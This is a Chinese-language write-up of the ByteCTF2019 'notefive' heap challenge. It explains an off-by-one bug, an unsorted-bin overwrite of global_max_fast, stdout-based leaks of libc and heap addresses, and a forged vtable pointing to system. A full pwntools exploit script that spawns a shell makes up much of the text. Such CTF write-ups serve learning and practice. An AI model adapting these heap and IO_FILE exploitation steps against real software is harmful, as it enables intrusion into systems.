ByteCTF2019-notefive WP

保护

分析

  • 程序有添加、删除、编辑操作。添加的时候限制了大小:

ByteCTF2019-notefive WP_第1张图片

  • 也就是说分配的chunk都在unsortbin以上。
  • 删除没什么问题,主要漏洞只有一个,那就是在编辑中存在off-by-one

ByteCTF2019-notefive WP_第2张图片

 

  • 程序没有输出操作,开启了aslr。所以要构造以下攻击链:
  1. 利用off-by-one构造heap overlaping。
  2. 利用unsortbin attack改写global_max_fast,使得fastbin的范围增大,为后续fastbin attack做准备。
  3. 释放一个unsortbin范围的chunk会得到libc里边的内存,我们在fd 上边踩出stdout附近的地址,并结合fastbin attack有几率改写stdout以泄露内存。
  4. 利用fastbin attack精确修改stdout,泄露出heap地址,为后续伪造vtable做准备。
  5. 伪造vtable
  6. 再次fastbin attack精确修改stdout,将vtable指向我们伪造的vtable

EXP

#encoding=utf-8
from pwn import*
#context.log_level=1

    
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    
def Add(idx,size):
    p.sendlineafter('choice>> ','1')
    p.sendlineafter('idx: ',str(idx))
    p.sendlineafter('size: ',str(size))
def Edit(idx,data):
    p.sendlineafter('choice>> ','2')
    p.sendlineafter('idx: ',str(idx))
    p.sendafter('content: ',data)
def Del(idx):
    p.sendlineafter('choice>> ','3')
    p.sendlineafter('idx: ',str(idx))

p=process('./note_five',aslr=False)

Add(0,0xf8)#0
Add(1,0xf8)#1
Add(2,0xf8)#2 
Add(3,0xf8)#3
Add(4,0xf8)#4
Del(0)
Edit(2,'a'*0xe0+p64(0)+p64(0x211)+p64(0x300)+'\0')

Del(3)

Add(0,0x2f0)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+'\n')

Del(1)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+p64(0)+p16(0xa838)+'\n')

Add(4,0xf0)
Add(4,0xf0)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+'\n')
Del(2)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+p16(0x95cf)+'\n')
Add(2,0xe0)
Add(4,0xe0)
file='\0'*0x41
file+=p32(0xfbad1880)
file+=';sh;'+'a'*0x18+'\x88\n'

Edit(4,file)
libc_base=u64(p.recv(8))-libc.sym['_IO_2_1_stdin_']
system=libc.sym['system']+libc_base
success("libc_base:"+hex(libc_base))
success("system:"+hex(system))
leak_heap_offset=0x3c3b88+libc_base
stdout_nearly=libc.sym['_IO_2_1_stderr_']+libc_base+143
Del(2)
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+p64(stdout_nearly)+'\n')

Add(2,0xe0)
Add(4,0xe0)

file='\0'*0x41
file+=p32(0xfbad1880)
file+=';sh;'+'\0'*0x18+p64(leak_heap_offset)+'\n'

Edit(4,file)
heap_base=u64(p.recv(8))-0x100
success("heap_base:"+hex(heap_base))

Del(2)
stdout_nearly=libc.sym['_IO_2_1_stdout_']+libc_base+0x8f
Edit(0,'a'*0xf0+p64(0)+p64(0x101)+'a'*0xf0+p64(0)+p64(0xf1)+p64(stdout_nearly)+'\n')
Add(2,0xe0)
Add(4,0xe0)
fake_vtable=p64(0)*2+p64(system)*19+'\n'
Edit(0,fake_vtable)
Edit(4,'\0'*57+p64(heap_base+0x10)+'\n')

p.interactive()
  • 本地测试的时候我关闭了aslr,当开启的时候多运行几下exp就能getshell了。

总结

  • global_max_fast存放的是fastbin的大小,通过修改里边的值可以扩大fastbin的范围。
  • glibc2.23及其以下的IO_FILE利用就是直接伪造一个虚表,伪造的方式比较粗暴的就是p64(0)*2+p64(target)*19。这意味着,不论任何文件操作都会触发target处。
  • 利用io_file泄露内存的方式是:
  1. 设置_flag &~ _IO_NO_WRITES_flag &~ 0x8
  2. 设置_flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  3. 设置_fileno为1
  4. 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址。
  5. 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING_flag | 0x1000
  6. 设置_IO_write_end等于_IO_write_ptr(非必须)
  •  此题在修改stdout时写入“;sh;”是因为后面虚表中用system来覆盖的。

IO_FILE相关利用

 

你可能感兴趣的:(漏洞挖掘与利用)